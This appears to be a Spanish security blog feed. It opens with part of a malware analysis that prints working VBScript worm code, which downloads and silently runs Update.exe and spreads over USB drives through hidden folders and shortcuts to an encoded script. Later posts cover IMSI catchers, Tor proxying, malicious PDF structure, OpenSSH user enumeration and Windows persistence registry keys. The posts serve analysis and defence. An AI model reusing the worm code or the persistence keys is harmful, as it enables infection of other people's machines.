 Set objADOStream = CreateObject("ADODB.Stream")
 objADOStream.Open
 objADOStream.Type = 1
 objADOStream.Write objXMLHTTP.ResponseBody
 objADOStream.Position = 0

 Set objFSO = Createobject("Scripting.FileSystemObject")
 If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

 Set objFSO = Nothing
 objADOStream.SaveToFile strHDLocation
 objADOStream.Close
 Set objADOStream = Nothing
End if

a = objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing
set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&var1&"\kernel\update.jpg",""&var1&"\kernel\Update.exe"
loFSO.DeleteFile ""&var1&"\kernel\update.jpg"

Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"Update.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" = ""&b&"" then
 set variable=createobject("wscript.shell")
 variable.run """"&var1&"\kernel\Update.exe""",0,False
else
end if

Y finaliza el bucle.

Wend

En el trozo de código que se muestra a continuación se procede a analizar el procedimiento: ”detecterracines()

sub detecterracines()

set fsO = CreateObject("Scripting.FileSystemObject")
set wshshell=createobject("wscript.shell")
Dim fso, d, dc, s, n

En el trozo de código que se muestra a continuación se procede a obtener todas las unidades creadas por el sistema.

Set dc = fso.Drives

Y para cada una de ellas…

For Each d in dc
racine = d.Driveletter & ":"

Se determina el tipo de unidad que es …

       u= detectamovibles(racine)

Si la unidad es de tipo “Amovible” o “Fixe”, está preparada y no es la unidad “A:”, entonces…

       if u = "Amovible" or u = "Fixe" and d.isready and racine <> "A:" then
             set fsO = CreateObject("Scripting.FileSystemObject")

Se determina la existencia del archivo “config.dat” en la unidad analizada

             if fsO.FileExists(""&d&"\config.dat") Then

Si existe, se determina la cantidad de datos que contiene:

1.- Si tiene más de 20 líneas, entonces se copia el contenido de las carpetas “c:\security” y “c:\kernel” en la unidad analizada, si establecen las propiedades de: “sistema” y “oculto”.

2.- Si tiene menos de 20 líneas, entonces se elimina el archivo “config.dat” de la unidad analizada.

3.- Si tiene 20 líneas, entonces se comprueba la diferencia entra la fecha del archivo “config.dat” y la fecha del sistema. Si la diferencia fuera inferior a “0”, entonces se elimina el archivo “config.dat” de la unidad y se copia en su lugar el archivo “blood.dat” ubicado en la carpeta: “C:\security

                    Dim oFso, f
                    Dim ts, nl
                    Set oFso = CreateObject("Scripting.FileSystemObject")
                    Set f = oFso.OpenTextFile(""&d&"\config.dat", ForReading)
                    ts = f.ReadAll

                    if ""&f.line&""> 20 then
                           f.close

                           Set oShell = WScript.CreateObject ("WScript.Shell")
     oShell.run "cmd /K del/f/q/A ""%systemdrive%\security\*.dat""& xcopy /C /H /Y /R   """&d&"\config.dat""""%systemdrive%\security""& attrib -s -h ""%systemdrive%\security\*.*""& ren ""%systemdrive%\security\*.*"" blood.dat & EXIT",0

                           oShell.run "cmd /K del/f/q/A ""%systemdrive%\kernel\*.dat""& xcopy /C /H /Y /R """&d&"\config.dat""""%systemdrive%\kernel""& attrib -s -h ""%systemdrive%\kernel\*.*""& ren ""%systemdrive%\kernel\*.*"" r00t3r & attrib +s +h ""%systemdrive%\kernel\*.*""& EXIT",0

                           Set oShell = Nothing
                    end if

                    Set oFso = CreateObject("Scripting.FileSystemObject")
                    Set f = oFso.OpenTextFile(""&d&"\config.dat", ForReading)
                    ts = f.ReadAll
                    if ""&f.line&""< 20 then
                           f.close

                           set fsO = CreateObject("Scripting.FileSystemObject")
                           fso.deletefile(""&d&"\config.dat"),true
                    end if

                    Set oFso = CreateObject("Scripting.FileSystemObject")
                    Set f = oFso.OpenTextFile(""&d&"\config.dat", ForReading)

                    ts = f.ReadAll 
                    if ""&f.line&"" = 20 then
                           f.close

Dim stFichier
Dim oFl
Set oFSO = CreateObject("Scripting.FileSystemObject")
                    stFichier = ""&d&"\config.dat"
Set oFl = oFSO.GetFile(stFichier)       
Set f = ofso.GetFile(stFichier)
fdate = f.DateLastModified
fname = f.Name
dtDiffFile = DateDiff("d", Now, fdate)

If dtDiffFile < 0 Then
fso.DeleteFile(stFichier),true

Dim oShell
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K cd/d ""%systemdrive%\security""& copy /b /y blood.dat + & EXIT",0
Set oShell = Nothing

end if
end if
else

Si el archivo “config.dat” no existe, se pasa a :

1.- Generar un archivo de nombre: “tmp.bat” en la carpeta temporal del sistema, en donde se almacenará el siguiente código.

Contenido del archivo: “tmp.bat”

El código hace lo siguiente:

1.- Elimina de la unidad todo archivo con extensión: “.vbe”, “.lnk”, así como los archivos: “config.dat”, “autorun.dat” y “microsoft.dat
2.- Copia el archivo: “blood.dat”, ubicado en la carpeta: “c:\security”, a la unidad seleccionada con el nombre: “config.dat
3.- Al nuevo archivo “config.dat” copia anteriormente se le otorgan las propiedades del “sistema” y “oculto”.
4.- Elimina de la unidad “C:” el archivo: “autorun.inf”, así como todos los archivos con extensión “.lnk


tmpdir=shell.ExpandEnvironmentStrings("%temp%")
                    nomficl=tmpdir & "\tmp.bat"
set f = fso.OpenTextFile(nomficl, ForWriting , true)

                    f.writeline "del/f/q/a """&d&"\*.vbe"""
                    f.writeline "del/f/q/a """&d&"\*.lnk"""
                    f.writeline "del/f/q/a """&d&"\config.dat"""
                    f.writeline "del/f/q/a """&d&"\autorun.inf"""
                    f.writeline "del/f/q/a """&d&"\microsoft.dat"""
                    f.writeline "xcopy /C /H /Y /R """&MyF&""""""&d&"\"""
                    f.writeline "ren """&d&"\blood.dat"" config.dat "
                    f.writeline "attrib +s +H """&d&"\config.dat"""
                    f.writeline "del/f/q/a ""%systemdrive%\*.lnk"""
                    f.writeline "del/f/q/a ""%systemdrive%\autorun.inf"""
                    f.close

Se ejecuta el archivo “tmp.bat

set variable = createobject("wscript.shell")
variable.run ""&nomficl&"" ,0,true
fso.DeleteFile nomficl, true

Const ForWriting = 2
RootFolder = ""&d&""

Ahora, por cada subdirectorio de la unidad, se crea un archivo de tipo “.lnk”, que antes de acceder al subdirectorio ejecutará el archivo “config.dat”. El subdirectorio es configurado con las propiedades de: “solo lectura”, “oculto” y “del sistema”.

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(RootFolder)
Set colSubfolders = objFolder.Subfolders

For Each objSubfolder in colSubfolders
exit for
next

set oShell = CreateObject("WScript.Shell")
sDesktop = WSHShell.SpecialFolders("Desktop")
set oSLink = WSHShell.CreateShortcut(""&d&"\"&objSubfolder.Name&".lnk")
strTarget = oShell.ExpandEnvironmentStrings("%windir%")
oSLink.TargetPath = strTarget & "\system32\cmd.exe"
oSLink.Arguments = "/c start WScRiPt.EXe /e:VBScRIpt.ENcOdE config.dat & C:\WINDOWS\explorer.exe "&objSubfolder.Name&""
oSLink.WindowStyle = 7
oSLink.IconLocation = "%SystemRoot%\system32\SHELL32.dll,-4"
oSLink.Save

on error resume next

Set objFSo = CreateObject("scripting.FileSystemObject")
Set objFile = objFSo.GetFile(""&d&"\"&objSubfolder.Name&".lnk")

objFile.Attributes = 1

Set objFSO = CreateObject("Scripting.FileSystemObject" )
Set objFolder = objFSO.GetFolder(""&d&"\"&objSubfolder.Name&"")
                    objFolder.Attributes = objFolder.Attributes XOR 6

end if
end if
Next
end sub

Conclusión: Estamos ante el procedimiento que permite ejecutar el vector de infección.

En el trozo de código que se muestra a continuación se puede ver la función: ”detectamovibles()”, que permite determinar el tipo de unidad que se le pasa como parámetro.

Function detectamovibles(drvpath)

Dim fso, d, s, t

set fsO = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(drvpath)))
Select Case d.DriveType
Case 1: t = "Amovible"
Case 2: t = "Fixe"
End Select
detectamovibles = t

End Function


GRACIAS A:

'========================================================================================='
'
' C0d3 N4me : S4-|-4|\| |30-|-
' Cr34t0r : GRICCO
' Created for personal use , modifications or others are not authorized
' For more informations, looking 4 me { - CNG4L }
'
'========================================================================================='


POR FIN ... ¡FIN!

Eres un chivato mi querido móvil

$
0
0
Hace unos días leí varios artículos sobre las actividades de los gobiernos en manifestaciones para detectar a los asistentes.

http://antivigilancia.org/es/2015/06/la-vigilancia-y-la-protesta-social/

Para ello utilizan los "IMSI catchers".

Pero, ¿qué es el IMSI?

El IMSIo  International Mobile Subscriber Identity (Identidad Internacional del Abonado a un Móvil), es un identificador único que se almacena en la SIM de un dispositivo móvil, y que le identifica a través de las redes de telefonía móvil.

Como por ley, cada tarjeta SIM tiene que estar vinculada a una persona, al menos en nuestro país, por la IMSI se puede identificar a una persona.

Más información:
                               
https://es.wikipedia.org/wiki/IMSI

NOTA: No confundir con el IMEI o International Mobile Station Equipment Identity, (Identidad internacional de equipo móvil), que es el identificador del dispositivo móvil, vamos del teléfono, y es único a nivel mundial.

Más información:
https://es.wikipedia.org/wiki/IMEI

Pero, ¿qué son los IMSI catchers?

Resumiendo ... son torres móviles falsas, también llamadas Stingrays.

 Definición de IMSI catchers

Más información:

                               https://antivigilancia.org/es/2016/03/detectando-antenas-de-celulares-espias/

Contramedidas

El artículo expone las siguientes medidas de prevención.

Medidas de prevención propuestas por el artículo.

Personalmente, he empezado a utilizar Orbot y Orfox(navegador basado en firefox, que necesita de orbot para funcionar). Para navegar, pero también -el orbot- para otro tipo de comunicaciones.
Para mi desgracia mi móvil no es compatible con SnoopSnitch y la app AIMSICD genera tantos errores, que tendré que seguir ciego y no ver las torres que me solicitan cambios de algún tipo.

NOTAS:

A raíz de estas lecturas me oteado información sobre vulnerabilidades en el protocolo SS7 (https://antivigilancia.org/es/2015/06/consultando-al-espia-de-bolsillo-vulnerabilidades-ss7-y-rastreo-global-2/) y he vuelto a visualizar los vídeos de la gente de Layakk sobre ataques en 2G y 3G

Sistema de localización geográfica de un terminal móvil [Rootedcon 2013]
https://www.youtube.com/watch?v=-pR7cm2V9u8

Atacando 3G [Rootedcon 2014]
https://www.youtube.com/watch?v=vIMysm0nswY



Además, apagaré siempre que crea oportuno al chivato que llevo en mi bolsillo.

Quiero que todo mi mundo navegue por TOR

$
0
0
Esta entrada tiene varios objetivos ...

1.- El principal: recordar cosas.

2.- Mostrar lo fácil que es configurar el "Burp" (herramienta basada en java para realizar pentest en entornos web) en su versión free, o la que tengas, para encaminar todas nuestras peticiones web a través de la red TOR, y así poder realizar pentesting o navegar de manera más anónima .

3.- Mostrar que el proceso anterior nos permitiría no sólo a la máquina sobre la que hemos realizado el proceso anterior navegar a través de TOR, sino a cualquier máquina que configuremos para que salga a Internet  a través del Burp anterior.

Imaginar que queremos que todos los elementos que se conecten a nuestra casa salgan a través del proxy-web que hemos configurado, utilizando para ello la red TOR

Todo esto tiene sentido siempre y cuando NO queremos crearnos un nodo TOR.

NOTA: Hay que tener en cuenta que existen sitios web que no permiten la navegación desde la red TOR.

Para hacer todo esto, lo primero es descargar las herramientas que necesitaremos, más concretamente, descargaremos dos:

1.- El navegador que permite establecer la conexión con los nodos de entrada hacía la red TOR.

Para ello hay que visitar la web:

https://www.torproject.org

URL para la descarga del navegador TOR para sistemas Windows

Descargado

Tras la descarga, se pasa a la instalación, y tras esta ya podremos empezar a navegar a través de TOR, siempre y cuando utilicemos el navegador web descargado.

NOTA:Siempre tiene que existir un proceso activo del navegador TOR activo, para que el túnel hacía la red TOR exista.

2.- Descargamos la versión gratuita de la suite Burp, que entre otras cosas,  nos permitirá utilizar su sección de proxy-web y así enviar las peticiones que pasen por él hacía el túnel generado por el navegador de TOR.

Para descargar la versión gratuita de la suite Burp, debemos ir a la URL:

https://portswigger.net/burp/downloadfree.html

URL para la descarga de la herramienta Burp en sistemas Windows

Descargado

Tras la descarga e instalación del navegador TOR, necesitaremos configurar el Burp para que las peticiones web que se recojan, las reenvíe por el túnel montado hacía la red de TOR por el navegador TOR.

Para ello, abrimos Burp y nos vamos a la sección: User Options >> SOCKS Proxy, y colocamos los parámetros de siguiente salto de la petición que pasa por el Burp.

NOTA: Por defecto, el siguiente salto lo marcará el default gateway

Configuración del siguiente salto de Burp

NOTA: Para conseguir los datos del puerto que utiliza el navegador TOR para generar el túnel contra la red TOR podemos mirar en la sección "Opciones" del propio navegador TOR.

Información sobre el puerto utilizado por el navegador TOR para construir el túnel contra la red TOR

Comprobamos la navegación

IP saliendo por la red TOR



IP navegando con el Internet Explorer sin utilizar la red TOR

IP navegando con el Internet Explorer a través de la red TOR

Para el tercer paso necesitamos antes de nada:

1.- Habilitar en el Burp otra instancia de proxy en donde la dirección IP sea la de la propia máquina, o modificar la instancia existente para que en vez de 127.0.0.1 aparezca la IP de la máquina.

Se establece una nueva instancia de proxy-web basada en la IP de la máquina y un puerto distinto.

2.- Modificar cualquier firewall que el sistema tenga activo para permitir conexiones hacía el puerto del proxy-web

Tras esto, configuraremos los navegadores del resto de los dispositivos de nuestra red para que las comunicaciones fluyan a través del proxy-web habilitado.

Configuración de un navegador de otro equipo

Confirmación de la navegación a través de la red TOR.

NOTAS FINALES

Para tener bien configurado un proxy-web en nuestra red interna, desde mi punto de vista, habría que:

1.- Diseñar e implementar una red que obligue a los usuarios a configurarse el proxy-web, si o si, para poder navegar.

2.- Utilizar una máquina que exclusivamente haga de proxy-web,  que además sea robusto y que tenga activo el proceso del navegador TOR.

3.- Tener en cuenta la siguiente entrada: 

http://4null0.blogspot.com.es/2016/02/minimizar-exposicion-las-infecciones.html


4.- Securizar y bastionar.

PD: Gracias Pablo por tus comentarios

Conocimientos para detectar si un PDF es malicioso - Parte 1

$
0
0
Antes de comentar analizar un archivo PDF para determinar si se trata de un archivo malicioso o no, debemos entender la estructura interna física y lógica del archivo para saber qué buscar.

Como comentario inicial decir que el lenguaje PDF se basa en el lenguaje PostScript (lenguaje de programación), pero el lenguaje PDF es un subconjunto de PostScript que no posee las características que hace que sea un lenguaje de programación.


Estructura  física de un archivo PDF

Estructura interna de un archivo PDF


Header:Se corresponde con la primeros bytes de cualquier archivo PDF, y específica la versión utilizada por el documento .pdf.

 El resto de la línea nos muestran caracteres sin ningún valor informativo.

Versión de PDF utilizada por el documento: 8448180488.pdf

NOTA:Los caracteres "%" indican inicio y fin de comentario.
         Si la cabecera no está presente o no sigue el patrón %PDF-X.Y%, entonces la mayoría de los lectores de archivos PDFs no visualizarán el contenido del archivo

Body:Contiene los "objetos" incluidos dentro del archivo PDF, entre los cuales nos podemos encontrar: Booleanos, números, nombres, diccionarios, streams y el objeto NULL (objetos directos o objetos). Pero también contendrá los objetos llamados indirectos.

En definitiva, está sección contendrá los datos que serán mostrados al usuario.

Comienzo de la sección "Body" del documento: 8448180488.pdf

El contenido de dicha sección se verá más adelante.

Tabla 'xref': Es una tabla de referencias cruzadas que contiene las referencias a todos los objetos contenidos en el documento o, mejor dicho, en el cuerpo o body del documento.

Esta tabla permite conocer  los objetos contenidos en el documento sin necesidad de leer el contenido de todo el documento.

Parte de la tabla: xref, del documento: 8448180488.pdf

Toda la tabla: xref, del documento: 8448180488.pdf



Toda la tabla: xref, vista de manera más legible.


La primera línea tras la clausula: xref, se corresponde con el siguiente patrón:

<ID del objeto> <Número de objetos, del tipo anterior, dentro del documento>

Nuestro ejemplo:
ID objeto: 1468 (caja roja)
Número de objetivos del tipo anterior: 36 (caja verde)

Patrón detectado tras la clausula: Xref

NOTA: En el caso estudiado sólo se tiene un tipo de objeto, pero en un documento de tipo .pdf, podrían existir múltiples IDs de objetos.

Para cada uno de los objetos del tipo definido se tiene información  está representado por una línea compuesta por 20 bytes(incluido el CRLF).

Objetos del tipo 1436

La información dada por cada uno de los objetos sigue el siguiente patrón

<offset del objeto> <Número de generación del objeto> <f|n>

Los primeros 10 bytes se corresponde con el offset donde se encuentra ubicado el objeto, partiendo siempre desde el comienzo del archivo. Tras estos bytes, nos aparecerá un espacio en blanco y un número que se corresponde con el número de objeto dentro de un mismo tipo de objeto. Tras este número, nos aparecerá otro espacio en blanco y una "f" (free, libre) o una "n" (non-free, en uso). Por último, el CRLF

Más concretamente, la "f" significa que el objeto sigue estando en el archivo pero que no puede ser utilizado, y por lo tanto NO será presentado al abrir el documento. La "n" significa que el objeto esta en el archivo y se encuentra en uso. El valor

El número de generación del objeto (NGO), se podría explicar diciendo que controla las veces que un objeto ha sido "eliminado" o categorizado como "f" (free). Es decir, cada vez que un objeto es puesto como "f" el valor correspondiente al NGO se incrementara en uno. Si por cualquier circunstancia dicho objeto se vuelve a utilizar el NGO se mantendrá con el valor incrementado a uno, pero si se vuelve a eliminar, el NGO se volverá a incrementar.

NOTAS IMPORTANTES:
1.- Pueden existir múltiples tablas de referencias cruzadas debido a la actualización del documento.

Como es el caso del documento utilizado como ejemplo:

Comienzo de la segunda sección "xref" del documento: 8448180488.pdf

2.- El primer objeto debe tener como identificador el 0 y contendrá una entrada de objeto con NGO 65535, marcado como "free" (f). Por ejemplo:

Primer objeto de la segunda sección "xref" del documento: 8448180488.pdf

2.- El último objeto de la tabla de referencias cruzadas tendrá el GNO a 0

Tal y como se ha comentado anteriormente, un archivo PDF puede modificarse, actualizarse porque se ha retocado el contenido. En este caso, la estructura inicial del documento no se elimina del propio documento, sino que se mantiene aunque no sea visible. Es decir, las actualizaciones modifican o añaden objetos al documento, pero nunca los elimina.

Esto implica que las modificaciones se escriban al final del documento, generando así mismo, una nueva sección "body", una nueva "tabla de referencias cruzadas" y una nueva sección "trailer". Visualmente ...

Patrón de actualizaciones de un archivo PDF

Trailer:Permite al lector del documento PDF determinar donde se encuentra la tabla de referencias cruzadas así como otros objetos especiales. Todos los lectores de archivos PDF deberían empezar leyendo un archivo PDF desde el final, ya que es aquí donde reside está sección.

Comienzo de la sección "Trailer"

En la sección podríamos encontrar información como:

/size <integer>: Indica el número de objetos contenidos en todas las tablas de referencias existentes en el documento.

NOTA: El número usado NO debería ser una referencia de tipo de objeto.

/Prev <integer>: Indica el offset de las anterior tabla de referencia cruzada

/Root <objeto>: Indica el objeto "catalogo" o raíz del documento.

/Encrypt <objeto>:  Indica un objeto que se encuentra cifrado

/Info <objeto>:  Indica un objeto que contiene información sobre el documento.

startxref <offset>: Indica el offset respecto del inicio del documento donde se encuentra la tabla de referencias cruzadas

Conocimientos para detectar si un PDF es malicioso - Parte 2 y última

$
0
0
Estructura  lógica de un archivo PDF

Ya se ha visto la estructura física, veamos ahora la estructura lógica de un archivo PDF.

Tal y como se ha perfilado, los archivos PDF funcionan a través de objetos. Estos objetos se reúnen en lo que se denomina: objetos indirectos, es decir, los objetos indirectos son objetos con nombre que contienen objetos u otros objetos indirectos.

Estos objetos indirectos vienen representado por las palabras claves: obj y endobj. Más concretamente, un objeto indirecto viene representado de la siguiente manera:

<ID> <Versión del objeto> obj
...
endobj

Leyenda:

ID          Identificador del objeto indirecto.
                Los identificadores pueden NO ser secuenciales en el archivo PDF

Versión del objeto  Cuando se crea un objeto indirecto este valor es de 0, si por cualquier 
                                circunstancia el objeto indirecto se actualiza el nuevo objeto indirecto 
                                podrá el valor 1, es decir, este valor indica la cantidad de veces que el  
                                objeto indirecto ha sido actualizado

La estructura lógica de un archivo PDF tiene forma de árbol.

La estructura parte de un objeto indirecto raíz, denominado: Document catalog, que se ramifica en las siguientes áreas o ramas:

1.- Page Tree
2.- Outline hierarchy
3.- Article Theards
4.- Named destinations
5.- Interactive form

NOTA: El Document Catalog, es el elemento /Root de la sección Trailer.

El objeto indirecto 1470 0 es el Document Catalog del documento PDF

El objeto Document Catalogtiene entre las entradas más interesantes, las siguientes:

1.- /Type
2.- /Version
3.- /Extensions
4.- /Pages  --> referencia al objeto indirecto referenciado como: Page Tree
5.- /Dests
6.- /Outlines
7.- /Threads
8.- /Metadata

Contenido del objeto: Document Catalog

En la sección o rama, Page Tree, es donde encontraremos los objetos indirectos de tipo: page., que podemos decir que son las páginas de nuestro documento PDF que veremos al abrir el documento.

Estos objetos: Page Tree, tienen las siguientes entradas:

1.- /Type
2.- /Parent
3.- /Kids --> Array que contiene los objetos indirectos de tipo: Page, que caen directamente del objeto: Page Tree.
4.- /Count--> específica el número de nodos hojas que posee esta rama o sección

El objeto indirecto 1457 0 es el Page Tree del documento PDF


Contenido de uno de los objetos: Page, más concretamente del objeto indirecto: 1458 0

Es decir, si seguimos la secuencia, el árbol iría quedando:

Objeto 1470 (Document Catalog)
                Objeto 1457 (Page Tree)
                               Objeto 1458 (Pages)
                                               <Objetos contenidos en el objeto: page>
                               Objeto 1459 (Pages)
                                               <Objetos contenidos en el objeto: page>
                               Objeto 1460 (Pages)
                                               <Objetos contenidos en el objeto: page>
                               Objeto 1461 (Pages)
                                               <Objetos contenidos en el objeto: page>
                               Objeto 1462 (Pages)
                                               <Objetos contenidos en el objeto: page>
                               Objeto 1463 (Pages)
                                               <Objetos contenidos en el objeto: page>
                               Objeto 1464 (Pages)
                                               <Objetos contenidos en el objeto: page>


Ahora que sabemos cómo se encuentra estructurado un archivo PDF, ¿qué debemos buscar para determinar si un archivo PDF puede ser malicioso?

A la hora de analizar un archivo PDF deberemos de fijarnos en los objetos indirectos, más concretamente en:

1.- /Page
2.- /JS
3.- /JavaScript
4.- /AA
5.- /OpenAction
6.- /AcroForm
7.- /JBIG2Decode
8.- /RichMedia
9.- /Color with a value larger than 2^24

Vamos a ver más en profundidad la información que nos puede aportar cada tipo de objeto.

1.- /Page: Nos indica el número de páginas que posee el documento, en el caso de tener un archivo malicioso con total seguridad sólo tendrá 1 página.

2.- /JS, /JavaScript y /RichMedia: Indican que el archivo PDF contiene código Javascript (los dos primeros tipos) o código flash. ¡¡Os imagináis las posibilidades!!

3.- /AA, /OpenAction y /AcroForm: Indican la existencia de una acción automática que se realiza cuando el documento o página es visualizado. En documento maliciosos, pueden ser utilizados para ejecutar código JavaScript u otro sin interacción del usuario.

4.- /JBIG2Decode y /Color with a value larger than 2^24: Indican la presencia de filtros vulnerables.

Con un conocimiento pormenorizado de la estructura interna de un archivo PDF, se puede hacer lo siguiente:

https://blog.didierstevens.com/2016/06/07/recovering-a-ransomed-pdf/

Bibliografía

resources.infosecinstitute.com/pdf-file-format-basic-structure/
Documento: Analyzing Malicious PDF Fiels by Didier Stevens


Aportaciones a la "nueva" vulnerabilidad de OpenSSH

$
0
0
Me he hecho eco de la noticia en referencia a la "nueva" vulnerabilidad de OpenSSH en la versión 7.2p2 leídas en las siguientes URLs:

Fuentes que informan de la vulnerabilidad


Fuente original


La vulnerabilidad como sabréis, se recoge en el CVE-2016-6210, y consiste en:

Explicación aportada por la fuente original

Es decir:

Explicación/traducción aportada por la fuente: blog.segu-info.com.ar

A los datos aportados por todas las noticias, quería añadir mi aportación:

1.- Dicha vulnerabilidad NO sólo afecta a la versión 7.2p2, sino también a versiones anteriores tal y como se comenta en la noticia original

Anuncio de las versiones afectas a través de la fuente original

2.- En 2006 ya se detecto este mismo este mismo problema sobre OpenSSH 4.1 portable en sistemas SUSE. (CVE-2006-5229)

CVE-2006-5229

3.-  Existe un módulo de metasploit que te permite escanear servidores OpenSSH que trabaja en base a lo dispuesto en el punto anterior.

Modulo de metasploit

RECOMENDACIÓN:
Como se puede comprobar en la imagen que se muestra a continuación, el valor a partir del cual el escáner considera que el usuario existe es, mínimo, 1 sg.

Por mi experiencia, los valores que confirman o que con una alta probabilidad confirman que un usuario existe están por debajo de ese umbral.

Por lo que los resultados trasmitidos por el escáner no es del todo confiables

 Intentos de utilizar el escáner de metasploit configurando el umbral por debajo de 1 sg.

4.- A los códigos sugeridos tanto en la página donde se muestra la información original como en la página del "lado del mal", personalmente, le he hecho una revisión.


En esta versión,  se utilizan dos archivos:
               
                1.- Listado de direcciones IP
                2.- Listado de usuarios a comprobar

Además, en dicha versión, sólo se mostrarán por pantalla información sobre la IP, el usuario y los segundos que se tardado en recibir respuesta siempre y cuando dicho tiempo este por encima de 0.5 sg (es modificable).
                                                           

Código generado

Salida por pantalla


Postdata: Gracias Jonathan

Quiero que mi malware viva en entornos Windows para siempre

$
0
0
Como se sabe, el malware casi siempre intenta hacerse persistente en el sistema infectado para continuar actuando aunque dicho sistema sea reiniciado.

NOTA: Dentro del proceso de arranque de un sistema Windows, existen diversas fases, cada una de las cuales utilizan distintas claves del registro de Windows para su funcionamiento.

Algunas de las claves del registro de Windows que suelen ser usadas por el malware para realizar lo anteriormente comentado, son:

1.-Claves de registro Run/RunOnce.

A nivel de usuario, tenemos:

HKCU \Software\Microsoft\Windows\CurrentVersion\Run
HKCU \Software\Microsoft\Windows\CurrentVersion\RunOnce


A nivel de sistema, tenemos:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM \SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM \ SOFTWARE \Microsoft\Windows\CurrentVersion\Policies\Explorer\Run




2.- Claves de registro utilizadas por el proceso: Smss

Antes de que el proceso “smss.exe” lance el subsistema de Windows, llamara al subsistema de configuración que cargará el contenido presente en las claves:

HKLM\SYSTEM\CurrentControlSet\Control\hivelist
HKLM \SYSTEM\ControlSet002\Control\Session Manager\BootExecute



NOTA: Esta última clave de registros debería de contener el valor: “autocheck autochk*”. Si tuviera cualquier otro valor, hay una alta probabilidad de que nos encontremos ante la ejecución de un malware.

3.- Claves de registro utilizadas por el proceso: WinLogon

Clave de registro: Userinit

El proceso “Winlogon.exe” usa un valor especifico en la clave: "Userinit", para lanzar los scripts utilizados en el proceso de login del sistema.

Esta clave está localizada en:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon


NOTA: Normalmente, la clave “Userinit” contiene el valor: “userinit.exe”. Cualquier otro valor será ejecutado por el proceso: "Winlogon.exe"

Notify

Desde que el proceso "Winlogon.exe" gestiona las SAS (Secure Attention Sequence), las subclaves de registro que se almacenan en la clave de registro:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify

,se utilizan para notificar a los controladores de eventos las notificaciones que gestiona SAS. Para lo cual se utilizan las DLLs.

Estas DLL se ponen en marcha cada vez que se produce un evento SAS .


Explorer.exe

La Shell que utiliza nuestro sistema Windows, y que debe apuntar a: "explorer.exe" (Interface de Windows), se encuentra localizada en la clave:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

La clave de registro que almacena la ubicación donde se encuentra la clave de registro que indicará la Shell de Windows se ubica en:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\system.ini\boot


Startup Keys

Un lugar habitual que se utiliza para ganar persistencia es la carpeta: “Inicio” de cada usuario.

El proceso de arranque del sistema revisará las siguientes claves del registro para saber la ubicación de dicha carpeta dentro del sistema.

Las sub-claves se almacenan en:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders


Services

Cuando un servicio de Windows falla, este puede realizar diversas acciones, todo depende de la como se haya configurado el servicio.

Entre las acciones a configurar se encuentra una muy interesante, la de ejecutar un programa.


La clave de registro:

HKLM\SYSTEM\CurrentControlSet\services.


Algunas otras claves que son utilizadas para ejecutar servicios en background son:

HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices

Browser Helper Objects(BHO)

Basicamente hablamos de las librerías que se cargan cuando Internet Explorer se empieza a ejecutar.

NOTA: Varios tipos de malware afectan al BHO

La clave del registro afectada es:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

, esta clave contiene varias subclaves que son las que indicarán que librerías debe ejecutar Internet Explorer.


AppInit_DLLs

La clave del registro:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

Mostrará las librerías que son cargadas por la librería: “User32.dll”, por lo que es un buen lugar para insertar ;-).


File Association keys

Las claves del registro:

HKLM\Software\Classes\
HKEY_CLASSES_ROOT\

Contienen varias claves que son usadas para especificar una acción cuando un determinado tipo de fichero se abre, es decir, se definen los programas que se utilizarán para abrir determinados tipos de archivos por defecto.

Un ejemplo: la apertura por defecto de un archivo con extension: “txt”.

 HKEY_CLASSES_ROOT\textfile\shell\open\command




Conclusiones

¿Qué se puede hacer con estás claves del registro de Windows?

Desde mi punto de vista, se pueden configurar al sistema de seguridad, vease un HIDS, que nos permita bloquear y/o informar de los procesos que quieran modificar/crear/eliminar cualquiera de las claves comentadas, ya que ello puede significar que podemos estar ante un proceso de infección del cuál no somos conscientes.

NOTA IMPORTANTE:Estas no son las únicas claves de registro que pueden ser utilizas, ni son los únicos medios de conseguir la ansiada persistencia.


BotNet de verano para mi

$
0
0
Durante el día de ayer llego a mis manos dos archivos con las siguientes características:

Nombre: Manuel.doc
MD5: cc2db35f43b4a12700c431811a463439

Nombre: SysinfY2X.db
MD5: cc2db35f43b4a12700c431811a463439

MD5 de los archivos a analizar

Se busco información en VirusTotal, obtenemos que 31 motores lo detectan como malicioso.

Más información:
                https://virustotal.com/es/file/fe9c78249937d57aaed2792238caeea298e715d9cf261add1fbfbaeeab084d40/analysis/


A continuación se procedió a intentar sacar algo más de jugo al documento ofimático, ya sabéis una/s URL/s, archivo embebido, etc.

Pero al comprobar si realmente nos encontrábamos ante un documento ofimático nos encontramos con ...

Tipo de archivos

Al abrir con el bloc de notas el archivo "Manuel.doc", se encontró:

Contenido del archivo: "Manuel.doc"

En ese momento, se recordó la siguiente entrada del blog: http://4null0.blogspot.com.es/2016/02/analizando-el-archivo-updatedat.html, en donde se trabajó con las extensiones: vbs y vbe.

Por lo que se procedió a descifrar mediante el descifrador que se utilizó la vez anterior.

Una vez hecho, se encontró:
  

